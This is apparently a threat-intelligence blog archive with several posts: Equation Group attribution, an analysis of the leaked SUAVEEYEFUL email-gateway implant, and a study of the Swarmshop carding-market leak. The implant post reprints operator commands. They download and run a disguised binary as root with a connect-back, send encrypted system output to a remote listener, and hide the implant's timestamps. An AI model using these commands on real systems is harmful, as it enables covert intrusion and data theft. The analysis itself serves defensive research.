xorl %eax, %eax

Archive for the ‘threat intelligence’ Category

Why the Equation Group (EQGRP) is NOT the NSA

leave a comment »

I had covered this topic in my 2021 talk “In nation-state actor’s shoes” but after my recent blog post I saw again people referring to the EQGRP as the NSA which is not entirely correct. EQGRP is actually a combination of cyber operators (mostly) from the NSA’s TAO and the CIA’s IOC. So, a more accurate statement would be that the EQGRP is the US intelligence community. Here’s why…

WikiLeaks did the Vault 7 leak in 2017. Over the years this was confirmed to be a real/valid leak, and it provides unprecedented access not only on the CIA tools themselves, but also the culture and work environment inside CIA’s cyber component. This is the core source of this blog post.

Brief History of CIA IOC

After the 9/11 terrorist attacks, the CIA took the lead in the counter-terrorism efforts of the US, gaining access to almost unlimited budget, support, and resources to achieve its mission. That also meant that CIA could now expand their domain beyond their area of expertise, Human Intelligence (HUMINT), to other intelligence (and covert action) disciplines, including Signals Intelligence (SIGINT). In other words, develop their own cyber capabilities.

In 2015 the CIA publicly announced a new directorate responsible for improving the Agency’s digital capabilities. This reportedly started from a 2013 initiative by CIA Director Brennan. It was named the Directorate of Digital Innovation (DDI), headed by a Chief Information Officer (CIO), and covering all sorts of topics like modernisation of digital platforms, digitisation of manual processes, developing software for CIA’s needs, etc. Unsurprisingly, CIA’s DDI was relying extensively on the US intelligence community’s experts to develop those capabilities and by far the most mature US agency for cyber operations/SIGINT is the Department of Defense’s National Security Agency (NSA).

Inside DDI, CIA created the Center for Cyber Intelligence (CCI) which was responsible for intelligence support from the cyber domain. As per the Vault 7 leak this is where the “hacking division” (as WikiLeaks called it) fell under in 2016, when it had over 5000 registered users responsible for developing, maintaining, enhancing and using cyber capabilities to support CIA’s mission. Based on the Vault 7, this was the Information Operations Center (IOC). IOC was the cyber operators of CIA’s CCI. Meaning they were using the capabilities provided by other departments of CCI to support CIA’s intelligence operations from the cyber space.

Based on the leaks we can be certain that CCI was operational (maybe under a different org. structure) years before that 2015 public announcement for DDI, at least since 2008-2009.


One of the largest departments within the CCI was the EDG (Engineering Development Group), responsible for multiple divisions of engineering branches that were developing and maintaining different cyber capabilities for the IOC operators, the wider US intelligence community, and close allies. For instance, the Applied Engineering Division (AED) that had the Embedded Development Branch (EDB), Remote Development Branch (RDB), Operational Support Branch (OSB), etc.

A senior group of EDG employees were members of the EDG’s Technical Advisory Council (TAC) which, as its name implies, was there to review different technical challenges and provide input and expert recommendations.

The TAC Discussion on EQGRP

After Kaspersky’s “Inside the EquationDrug Espionage Platform” was published, the TAC started a discussion to identify the mistakes that led Kaspersky GReAT researchers uncovering a vast amount of US cyber capabilities, and associating them all under the EQUATION GROUP (EQGRP) alias. Here you can read the full thread on WikiLeaks.

From this discussion alone, we can see that:

  • EQGRP was actually a collection of capabilities by mostly NSA’s Tailored Access Operations (TAO) and CIA’s IOC
  • In some cases parts of the same implant were co-authored by CIA and NSA
  • CIA IOC and NSA TAO had different processes (or lack of them) for (re-)using cyber capabilities

And many lessons learned to avoid this compromise of their capabilities in the future. In general, I highly recommend you reading this thread since it’s a nice retrospective giving a glimpse into a nation-state actor’s reactions when a high-quality threat intelligence report is released.


News, and even some cyber threat intelligence analysts, repeating the narrative of EQGRP being the NSA is almost certainly wrong. Unless that Vault 7 was a deception operation (unlikely after all the past years’ research on it), we can conclude that the above discussion by TAC makes it very clear that EQGRP was a collection of cyber capabilities used by the cyber operators of the United States, mostly by NSA’s TAO and CIA’s IOC.

I know it’s not as sexy saying that the US was behind it compared to NSA TAO was behind it; and indeed, we can make some assumptions that exploits from the early 2000s were most likely from NSA TAO since CIA either didn’t had that capability yet, or it was still in its early development stages, heavily relying on NSA’s support, or use other means to decouple EQGRP into smaller actors for the CIA, the NSA, and others. However, EQGRP as it’s known today, it’s almost certainly not the NSA alone.

Lastly, any time you talk about nation-state attribution don’t forget that it’s called the “intelligence community” for a reason. Agencies in an IC share capabilities. Some (like within the same country) would be sharing almost everything, others (like the FIVE EYES) are sharing a lot, and others (like the MAXIMATOR) share more specific capabilities and products. And also remember that (that’s an excerpt from my 2021 talk):

  1. Nation-state actors are just people doing a job with specific objectives and performance goals
  2. It’s hard (usually) to know the intention. This is why geopolitical monitoring matters
  3. Infrastructure of an APT doesn’t mean the same APT executed the operation or that they were interested in you
  4. APT groups do most of their collection in bulk/automated fashion yet almost all research focuses on tailored/targeted access
  5. Attribution is hard… Think critically before you publish

Written by xorl

July 6, 2022 at 18:50

The forgotten SUAVEEYEFUL FreeBSD software implant of the EQUATION GROUP

leave a comment »

I was checking the 2017 ShadowBrokers leaks when I noticed that one of the EQUATION GROUP tools leaked back then has no public references/analysis (at least as far as I can tell). So, here is what this software implant does and how it works. This was in a directory titled suaveeyeful_i386-unknown-mirapoint3.4.3 and it reveals lots of interesting details. In summary:

  • SUAVEEYEFUL is a CGI software implant for FreeBSD and Linux
  • SUAVEEYEFUL was used to spy on the email traffic of the Chinese MFA and the Japanese Waseda Research University at least since the early 2000s
  • The leaked file/operation was targeting MiraPoint email products
  • SUAVEEYEFUL had some innovative, for its time, TTPs like data encryption and fileless malware

The Leaked Files

In that directory there are a few different files. Those are:

  • bdes: A copy of the FreeBSD bdes (tool to encrypt/decrypt using DES) command line utility, based on the FreeBSD bdes version (from 22 Sep. 2000), but compiled on Linux in 2003.
  • decode-base64: Simple Perl decoding script using MIME::Base64.
  • implant: ELF binary software implant component of SUAVEEYEFUL, built for i386 on FreeBSD version 4.3 (this version was released in April 2001).
  • implant.mg1.waseda.ac.jp: ELF binary software implant component of SUAVEEYEFUL used against the Japanese Waseda Research University’s email gateway (variant of the implant file).
  • opscript.se: The commands to execute in order to install the SUAVEEYEFUL (abbreviated as SE) software implant in the Japanese Waseda Research University.
  • se: The client component of the SUAVEEYEFUL software implant, written in Bash. This copy has hardcoded targets for the Japanese Waseda Research University.
  • se.old: Previous version of the SUAVEEYEFUL software implant client, written in Bash. This copy has a hardcoded target for the Chinese Ministry of Foreign Affairs email gateway.

The utilities (bdes, decode-base64 and uriescape) were bundled along with SUAVEEYEFUL because they are internally used. This ensured that the software implant would not rely on any external dependencies (other than default, at the time, core system utilities like ls, cat, telnet, etc.)

List of the files leaked by the Shadow Brokers under the suaveeyeful_i386-unknown-mirapoint3.4.3 directory


The se.old client was potentially the one the operators were adapting for their new target. That is due to inconsistencies in its content which make it look like a draft/edited version of an old operation. A leftover comment identifies the mail.mfa.gov.cn ( as its configured SUAVEEYEFUL target.

This was the email gateway of the Chinese Ministry of Foreign Affairs (MFA). Even to today, this IP address ( still points to an email server from China’s MFA. It’s hard to determine when the EQUATION GROUP compromised this email server using the SUAVEEYEFUL software implant. Based entirely on the build times, we can assess that it was at least since the early 2000s.

The current website hosted on mail.mfa.gov.cn

Most of the files included in the leaked directory were designed for another target. The email gateways of the Waseda Research University, which according to its official website, “strives to conduct cutting-edge research that solves world problems and contributes to the greater good of society. Unorthodox thinking and intellectual curiosity are what drive research at Waseda.”

The se client had two compromised Waseda email gateways configured, and both accessed via their internal IP addresses from another compromised host, referenced only by its IP address. So, at least 3 systems in Waseda’s infrastructure were compromised by the EQUATION GROUP since at least 2003.

  • mp450 (
  • mg1.waseda.ac.jp (
  • – another compromised host

The top host (mp450) was the university’s MiraPoint 450 (later renamed to RazorGate 450), an email security appliance. And the other host (mg1.waseda.ac.jp) was the MiraPoint email gateway. The third host is still unknown, but based on its IP range (similar to that of mp450) we can deduce that it was likely a system located in the university’s DMZ network segment.

Simplified visualisation of the SUAVEEYEFUL installation process

Installation of SUAVEEYEFUL in Waseda’s MiraPoint Servers

This is clearly described in the opscript.se file which we can assume that it was one of the first operational tasks that the EQUATION GROUP operators executed to install the SUAVEEYEFUL software implant. Here is that process:

  1. Copy the implant to the /var/www/data/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi file
  2. Change nph-help.cgi‘s file permissions to 555
  3. Change nph-help.cgi‘s ownership to “root” with group “nobody”
  4. Use touch -r to ensure file nph-help.cgi as well as anything under /var/www/data/help/apps/locale/ja_JP.utf-8/utilities/ directory have the same timestamps as the legitimate /var/www/data/help/apps/locale/ja_JP.utf-8/utilities/publish.html MiraPoint web service
  5. Use netcat to start a listening on port 444, decoding the received data with Base64 and decrypting them using bdes with a hardcoded key (0x4790cae5ec154ccc in this case)
  6. Connect-back from mp450‘s SUAVEEYEFUL implant to the listening 4444 port and provide some basic system information (who is logged in, list files/directories, etc.)

The SUAVEEYEFUL Software Implant

The SUAVEEYEFUL (or SE) has two components, the client and the server. The server component is a very simple CGI program written in C for FreeBSD, and looking for input at its help endpoint. Any commands received would be executed (with root privileges as shown in the previous section) using the system() library call, as long as they match the defined format (described later in this post).

The client side ensures that all requests are properly requested, encoded (using Base64) and encrypted (with DES). The client supported 4 options:

  • -h: Display help message
  • -c: Execute command
  • -i: Input target (e.g. the URL of a host running the SE server component)
  • -k: Key used for DES encryption
Screenshot of the se client used to target the Waseda University

As we can see from this, for the generation of the cryptographic material, EQUATION GROUP was using the system’s /dev/random in the following way:

head -c 8 /dev/random | hexdump -e '/8 \"0x%016x\n\"'

The command was then structured with # being used as a separator. The main command to be executed was constructed with this:

echo "`head -c 8 /dev/random | hexdump -e '/8 "%016x\n"'`#`date +"%s"`#$cmd"|bdes -k $key > out

Which results into a format that looks like that:

This structure was then encrypted using the hardcoded DES key, and passed through uriescape tool to ensure that there will be no parsing issues by the receiving MiraPoint web server.

Apart from the above, the client also used the date +”%N” command to get the date in nanoseconds and encrypt it with a key matching the same value. This was an anti-analysis/anti-detection trick since it would be hard for anyone to get the SE software implant to execute any command without this non-intuitive addition to its expected input.

The generation of the three values and sending the full command message to the compromised system running the SUAVEEYEFUL software implant server component

Lastly, the SE help message displayed three instructions on example commands that the operator could use. The three help commands were performing the following tasks:

  1. Install a fileless malware by doing the following:
    • Create a hidden directory (/tmp/.scsi)
    • Use curl to download a binary deceivingly named sendmail from the operational host (
    • Run sendmail as root and connect-back to the operational host on a different port (
    • Remove the sendmail binary file so that it’s running only in memory, not from the filesystem
  2. Execute commands with connect-back method:
    • Run w followed by ls -l and ls -l /tmp to get the logged in users and contents of the current and /tmp directories
    • Encrypt and encode the output
    • Send it to the operational host on its listening port (
    • The message also guides the operator on how to generate a new DES encryption key
  3. Same as #2 but without the Base64 encoding and DES encryption

Here is the full help message:

1) se -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/curl -osendmail;chmod +x sendmail;D=-c10.1.2.150:9999 PATH=. /usr/bin/asroot sendmail;rm -f sendmail) > /dev/null 2>&1" -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 

2) se -c"(w; ls -l; ls -l /tmp) | bdes -k SECRET | mmencode | telnet 4444"  -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 
  with nc -l -p 4444 | decode-base64 | bdes -d -k SECRET

Use this to generate a random key and replace SECRET with the key
  head -c 8 /dev/random | hexdump -e '/8 "0x%016x\n"'

3) se -c"(w; ls -l; ls -l /tmp) | telnet 4444"  -i"http://mp450/help/apps/locale/ja_JP.utf-8/utilities/nph-help.cgi/help" 
  with nc -l -p 4444


DO NOT -burn!!!
Use -exit

Written by xorl

June 22, 2022 at 10:19

Offensive Security Private Companies Inventory

with 2 comments

In the weekend I started a small project to maintain an inventory of any private companies that are publicly mentioned to have some supporting role in offensive nation-state cyber operations. Whether that is 0day brokers, software implant providers, and anything else in between.

You can find the full list here.

I’d like to say a big THANKS to all those people that contacted me and shared with me information on such companies. However, just to clarify, the list is based on OSINT so although I know that you, me, and others in our domain know of many more companies that play such a role in offensive cyber operations, I cannot list them unless there is a public reference of them being involved in this “game”.

As always, please let me know if you see anything wrong or anything missing. All changes are listed in the ChangeLog at the bottom of the inventory for transparency and change control.

Written by xorl

October 18, 2021 at 14:44

Exploitation of the Swarmshop data leak

leave a comment »

On 17 March 2021 a significant amount of data from the Swarmshop cyber-criminal marketplace were leaked online. Actually, the only threat intelligence vendor that I saw posting a quick analysis of that was Group-IB. In any case, I also had a look at this dataset and decided to write a quick blog post on how you can exploit them for threat intelligence production purposes. As always, this was a personal research project, by no means related to my employer. If you want to do something like that on a professional setting, please first check with your legal and privacy departments to avoid unpleasant surprises.

Group-IB, in their public blog post, describe Swarmshop as a mid-size “neighborhood” store for stolen personal and payment records. This is a nice description of this website which has been operating at least since April 2019 by a Russian-speaking threat actor.

However, the aim of my post is to go through the leaked data and see how could one turn them into actionable intelligence for your organization(s). So, the data leak consisted of four plaintext files with the following information:

  • 623,036 credit card details (which were sold in Swarmshop)
  • 69,592 Social Security Numbers (SSN) details (which were sold in Swarmshop)
  • 497 virtual bank accounts (which were sold in Swarmshop)
  • 12,343 Swarnshop user accounts

Let me pick each one of those leaked datasets and see how we can exploit them for intelligence purposes, starting with the smallest one, the VBAs (Virtual Bank Accounts).

VBA (Virtual Bank Accounts)

Those were online banking accounts opened by threat actors or compromised from legitimate users and put on sale in Swarmshop. The information provided in this dataset was:

  • VBA’s website
  • Username
  • Password
  • Balance
  • Account creation date

For the last field, the date implies the date the account was added to Swarmshop, not the bank account’s creation time. The following graph should give you a general idea of some insights we can deduce from this dataset. Probably the most interesting part there is that there was no VBA after October 2020 although the data breach includes data all the way until March 2021. It is also apparent that the top targets were Simple.com (41.6%), followed by Fairwinds Credit Union (17.7%) and Community First Credit Union (6.8%).

So, how can one exploit those VBAs to produce actionable intelligence? Here are a few examples:

  • If your organization is listed there, then investigate those accounts as a “known bad” with the intention to find more related accounts and better understand how they were opened (or compromised) in order to develop proactive controls that will block those TTPs in the future.
  • Use the leaked usernames to correlate them with other cyber-criminal activity such as forum accounts, credential stuffing tooling, etc. to build more complete threat actor profiles.

Credit card records

This is by far the largest dataset that was leaked with 623,036 unique records. The information available in that dataset include the following information:

  • Credit card number
  • Expiration date
  • CVV
  • Cardholder name
  • Cardholder address
  • Cardholder email (on some records)

Group-IB already published a nice graph for the geographic distribution of those records so I’m not going to repeat this. Instead, here is a breakdown per U.S. State since 62.71% of the victims were from the United States. As you can see in this heatmap, there was no U.S. State with less than 125 compromised credit cards.

It’s also worth highlighting that the top 4 States are exactly the same as with CardingMafia carding forum users, which indicates that those are probably the States with the most online activity; both as unwitting victims like in this case, and as cyber-criminals as I demonstrated in my CardingMafia post.

In general, such data are a very valuable raw intelligence with dozens of opportunities for exploitation to turn them into actionable intelligence, to give you an idea, here are a few:

  • If you are an affected organization or a national cybersecurity organization, inform the victims and the relevant banks accordingly.
  • If you own/issue credit card (virtual or physical) numbers, then check if your BIN is listed anywhere in that dataset. If it is, then immediately block those accounts, notify the victims, and do an investigation to discover the potential impact.
  • If your organization processes payments, then monitor for those credit card numbers as they are likely to be used by cyber-criminals who bought them via Swarmshop or similar cyber-criminal marketplaces.
  • The information can easily be used for pivot searching and enrichment. For example, you identified an adversary in a specific address or with a specific email address, doing a pivot search in this dataset can reveal more details that will allow you to build a higher quality threat actor profile.
  • For executive protection like what I mentioned in my other blog post

Social Security Numbers (SSN)

Then we have the SSNs records which were 69,592 unique entries but not all of them were from the United States. There were also 594 entries from Canada. Each record consisted of the following data:

  • SSN
  • Date of birth
  • Full name
  • Address
  • Phone number
  • Sex

This dataset is similar to the cardholder one in terms of raw intelligence value, but to give you a better perspective of the affected States, here’s a similar to the previous heatmap. There is an obvious insight that can be derived from that graph. That is, that the vast majority of the victims (over 68%) were from Oregon and Indiana. I didn’t spend any more time to research if there was any major SSN-targeting campaign around that time in those States, but if you know of one, then it could be related to this. That can be validated if we identify some of the victims of that campaign and do a cross-correlation with this dataset. The only State without any compromised SSN record was Vermont. The rest had anything from 6 all the way up to 23,297 compromised SSN records.

Another interesting metric that we can deduce from this dataset is the most impacted dates of birth (age). This provides an indication of ages that are more likely to become victims of cyber-criminals in the United States, mainly in Oregon and Indiana, for SSN stealing. Based on this statistical analysis it appears that the most vulnerable ages are 26-31 years old people, followed by 20-25 years old. There was no significant difference relating to their sex. In case you’re curious on the sex grouping of the victims, there were 24,462 SSNs from females, 22,354 from males and 22,182 with empty sex field values. This is resulting in 35.45% (females), 32.4% (males) and 32.15% (empty field).

Now in terms of exploitation of this dataset for actionable intelligence, it’s very very similar to the credit cards so I will not repeat the same opportunities that it provides. Instead, here are a few more that you can produce from it:

  • If you are a State-level cybersecurity organization, use the data to proactively inform and protect the victims.
  • As I hinted above, you can correlate this with known SSN-targeting campaigns in different States to link the two and thus have end-to-end visibility of the cyber-crime. From the campaign all the way to the monetization through Swarmshop, in this case.
  • Identify vulnerable groups and develop appropriate security awareness campaigns and controls.

Swarmshop accounts

At last, here are the users of this cyber-criminal marketplace. There were three different types of accounts (admin, buyer and seller) and all of the 12,343 accounts in the leaked dataset include the following information:

  • Type
  • Username
  • MD5 hashed password
  • Balance
  • (optional) email
  • Status
  • Date

In total there were 4 admin accounts, 90 seller accounts (3 of which were blocked) and 12,250 buyer accounts (22 of which were blocked and 4,296 archived). The 4 admin accounts were the following. It looks like they were recreated after a platform upgrade in early 2021.

UsernameMD5 hashed passwordBalanceemailStatusDate

There were 12 seller accounts set up with Swarmshop’s domain name which indicates that the administrator(s) of the marketplace were also selling illegal digital goods, apart from offering this platform to other sellers. And in case you wonder, yes, the leaked information can be used to de-anonymize several of those sellers and buyers of that platform but that is not something which can be shared in a public blog post.

To give you an idea how much information you can derive, here is a sample link-analysis with only a tiny bit of the information that can be discovered for the administrator (and seller) of this marketplace; who is a Russian-speaking cyber-criminal that has been involved with cyber-criminal activities at least since 2013. Apparently, I did not include anything relating to the real identity of the individual in this sample, but you can get the idea of how you can exploit that dataset for de-anonymization.

Apart from the de-anonymization of cyber-criminals, this dataset gives us insights on the growth of Swarmshop over time. In the following graph there is a clear pattern of the new buyers that were joining the platform over time. This pattern matches with certain advertisement efforts of the operators of the marketplace.

The downside of the above graph is that the amount of buyers was disproportional to the rest of the accounts so the trends of the rest are not clearly visible. So, below is a similar graph excluding the buyers.

And on how you can exploit the Swarmshop users dataset, apart from what I already demonstrated, to turn it from raw intelligence into actionable intelligence, here are some ideas to consider:

  • Use the leaked usernames, passwords, and emails to track the threat actors
  • Pivot search on the leaked passwords used to uncover more links to the threat actors
  • Identify the high-value individuals (buyers with the highest balance, admins and major sellers) and prioritize them first
  • Use the leaked usernames, passwords, and emails to enrich your investigations and provide higher-quality threat actor profiles

In conclusion, I hope that this blog post gave you more inspiration on how to turn raw intelligence from data leaks into actionable intelligence for your customers. Especially, data leaks like this one are very valuable since they provide insights on criminal organizations and as a threat intelligence analyst understanding your adversaries must be one of your top priorities. Happy to hear any more exploitation ideas for this data leak. :)

Written by xorl

May 12, 2021 at 19:17

Iran Cyber Operations Groups

with 4 comments

Unsurprisingly, after Russia, US, China, DPRK (North Korea), and EU… Here comes the mapping of the offensive cyber operations groups of Iran that have been attributed to a known government entity. Just like in the previous posts, sources and change log are available under the diagram.

If you notice anything missing, incorrect information, mistakes or anything like that please let me know to update it accordingly.

Last update: 13 January 2022



  • Version 2.0 (13 Jan 2022): Updated MOIS based on US CYBERCOM statement.
  • Version 1.5 (06 May 2021): Fixed a typo. Added missing “Focus” entries.
  • Version 1.2 (06 May 2021): Minor fixes (typos, etc.)
  • Version 1.0 (06 May 2021): First publication.

Written by xorl

May 6, 2021 at 13:00